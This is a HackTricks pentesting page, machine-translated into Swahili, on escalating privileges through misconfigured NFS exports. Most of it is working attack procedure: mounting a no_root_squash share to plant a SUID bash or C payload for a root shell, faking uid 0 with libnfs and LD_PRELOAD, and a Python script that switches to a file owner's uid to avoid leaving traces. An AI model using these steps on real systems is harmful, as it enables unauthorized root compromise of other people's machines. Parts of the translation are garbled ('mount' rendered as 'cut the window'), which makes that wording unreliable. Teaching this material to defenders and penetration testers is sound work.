tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Squashing Basic Info
NFS kwa kawaida (hasa katika linux) itatumia uid
na gid
zilizotolewa na mteja anayejitahidi kufikia faili (ikiwa kerberos haitumiki). Hata hivyo, kuna baadhi ya mipangilio ambayo inaweza kuwekwa kwenye seva ili kubadilisha tabia hii:
all_squash
: Inakandamiza ufikiaji wote kwa kubadilisha kila mtumiaji na kundi kuwanobody
(65534 unsigned / -2 signed). Hivyo, kila mtu ninobody
na hakuna watumiaji wanaotumika.root_squash
/no_all_squash
: Hii ni chaguo la kawaida kwenye Linux na inakandamiza tu ufikiaji wenye uid 0 (root). Hivyo,UID
naGID
yoyote inakubaliwa lakini0
inakandamizwa kuwanobody
(hivyo hakuna uigaji wa root unaowezekana).- ``no_root_squash`: Mipangilio hii ikiwa imewezeshwa hata haikandamizi mtumiaji wa root. Hii inamaanisha kwamba ikiwa unakata dirisha na mipangilio hii unaweza kufikia kama root.
Katika /etc/exports faili, ikiwa unapata dirisha fulani ambalo limepangiliwa kama no_root_squash, basi unaweza kufikia kutoka kama mteja na kuandika ndani ya dirisha hilo kama ungekuwa root wa mashine hiyo.
Kwa maelezo zaidi kuhusu NFS angalia:
Privilege Escalation
Remote Exploit
Chaguo la 1 kutumia bash:
- Kukata dirisha hiyo katika mashine ya mteja, na kama root kunakili ndani ya folda iliyokatwa /bin/bash binary na kuipa SUID haki, na kutekeleza kutoka kwa mashine ya mwathirika hiyo bash binary.
- Kumbuka kwamba ili kuwa root ndani ya NFS share,
no_root_squash
lazima iwe imepangiliwa kwenye seva. - Hata hivyo, ikiwa haijawezeshwa, unaweza kupandisha hadhi kwa mtumiaji mwingine kwa kunakili binary hiyo kwenye NFS share na kuipa ruhusa ya SUID kama mtumiaji unayependa kupandisha hadhi.
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
Option 2 kutumia msimbo wa c ulioandikwa:
- Kuweka hiyo directory kwenye mashine ya mteja, na kama root kunakili ndani ya folda iliyowekwa payload yetu iliyotengenezwa ambayo itatumia ruhusa ya SUID, itapeleka SUID haki, na kuitekeleza kutoka kwa mashine ya mwathirika hiyo binary (unaweza kupata hapa baadhi ya C SUID payloads).
- Vikwazo sawa kama hapo awali
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload
#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell
Local Exploit
note
Kumbuka kwamba ikiwa unaweza kuunda tunnel kutoka kwa mashine yako hadi mashine ya mwathirika unaweza bado kutumia toleo la Remote ili kutumia hii privilege escalation kwa kutunza bandari zinazohitajika.
Huu ni ujanja katika kesi faili /etc/exports
inaonyesha IP. Katika kesi hii hutaweza kutumia kwa hali yoyote exploit ya remote na utahitaji kudhulumu ujanja huu.
Sharti lingine muhimu ili exploit ifanye kazi ni kwamba export ndani ya /etc/export
lazima litumie bendera ya insecure
.
--Sijui kama /etc/export
inaonyesha anwani ya IP ujanja huu utafanikiwa--
Basic Information
Hali hii inahusisha kutumia NFS share iliyowekwa kwenye mashine ya ndani, ikitumia kasoro katika spesifikesheni ya NFSv3 ambayo inaruhusu mteja kubainisha uid/gid yake, ambayo inaweza kuwezesha ufikiaji usioidhinishwa. Kutumia exploit kunahusisha kutumia libnfs, maktaba inayoruhusu uundaji wa NFS RPC calls.
Compiling the Library
Hatua za uundaji wa maktaba zinaweza kuhitaji marekebisho kulingana na toleo la kernel. Katika kesi hii maalum, syscalls za fallocate zilikuwa zimeandikwa nje. Mchakato wa uundaji unajumuisha amri zifuatazo:
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
Kufanya Uhalifu
Uhalifu unahusisha kuunda programu rahisi ya C (pwn.c
) inayoinua mamlaka hadi root na kisha kutekeleza shell. Programu inakusanywa, na binary inayotokana (a.out
) inawekwa kwenye sehemu yenye suid root, ikitumia ld_nfs.so
kudanganya uid katika wito za RPC:
- Kusanya msimbo wa uhalifu:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
- Weka exploit kwenye share na kubadilisha ruhusa zake kwa kudanganya uid:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
- Tekeleza exploit ili kupata ruhusa za mzizi:
/mnt/share/a.out
#root
Bonus: NFShell kwa Ufikiaji wa Kificho
Mara tu ufikiaji wa root unapopatikana, ili kuingiliana na NFS share bila kubadilisha umiliki (ili kuepuka kuacha alama), script ya Python (nfsh.py) inatumika. Script hii inarekebisha uid ili kuendana na ile ya faili inayofikiwa, ikiruhusu kuingiliana na faili kwenye share bila matatizo ya ruhusa:
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
Kimbia kama:
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.